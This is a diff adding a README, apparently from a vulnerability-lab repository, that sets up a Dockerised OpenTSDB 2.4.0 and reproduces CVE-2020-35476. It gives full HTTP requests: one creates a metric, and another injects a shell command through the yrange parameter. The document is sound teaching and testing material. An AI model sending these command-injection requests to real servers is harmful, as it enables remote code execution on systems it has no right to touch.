first commit

opentsdb/CVE-2020-35476/README.md

@@ -0,0 +1,76 @@
+# OpenTSDB Arbitrary Command Injection Remote Code Execution (CVE-2020-35476)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+OpenTSDB is a distributed, scalable Time Series Database (TSDB) written on top of HBase.
+
+A remote code execution vulnerability occurs in OpenTSDB through 2.4.0 via command injection in the yrange parameter. The yrange value is written to a gnuplot file in the /tmp directory. This file is then executed via the mygnuplot.sh shell script. (tsd/GraphHandler.java attempted to prevent command injections by blocking backticks but this is insufficient.)
+
+References:
+
+- https://github.com/OpenTSDB/opentsdb/issues/2051
+- https://packetstormsecurity.com/files/136753/OpenTSDB-Remote-Code-Execution.html
+
+## Vulnerable Environment
+
+Execute the following command to start a OpenTSDB server 2.4.0:
+
+```
+docker compose up -d
+```
+
+Once the service is started, visit `http://your-ip:4242` to see the web interface of the OpenTSDB.
+
+## Exploit
+
+You need to know the name of a metric before you can exploit this vulnerability on `http://your-ip:4242/api/suggest?type=metrics&q=&max=10`:
+
+![](1.png)
+
+However, the metrics list is empty.
+
+Fortunately, the `tsd.core.auto_create_metrics` is set to `true` in this vulnerable OpenTSDB, so you can create a metric named `sys.cpu.nice` through following request:
+
+```
+POST /api/put/ HTTP/1.1
+Host: your-ip:4242
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
+Content-Type: application/x-www-form-urlencoded
+Connection: close
+Content-Length: 150
+
+{
+    "metric": "sys.cpu.nice",
+    "timestamp": 1346846400,
+    "value": 20,
+    "tags": {
+       "host": "web01",
+       "dc": "lga"
+    }
+}
+```
+
+If at least one metric exists and is not empty, the above request is not required.
+
+Send following request, where the value of the parameter `m` must contain a valid metric name:
+
+```
+GET /q?start=2000/10/21-00:00:00&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[0:system(%27touch%20/tmp/success%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json HTTP/1.1
+Host: your-ip:4242
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
+Connection: close
+
+
+```
+
+![](2.png)
+
+`touch /tmp/success` has been successfully executed.
+
+![](3.png)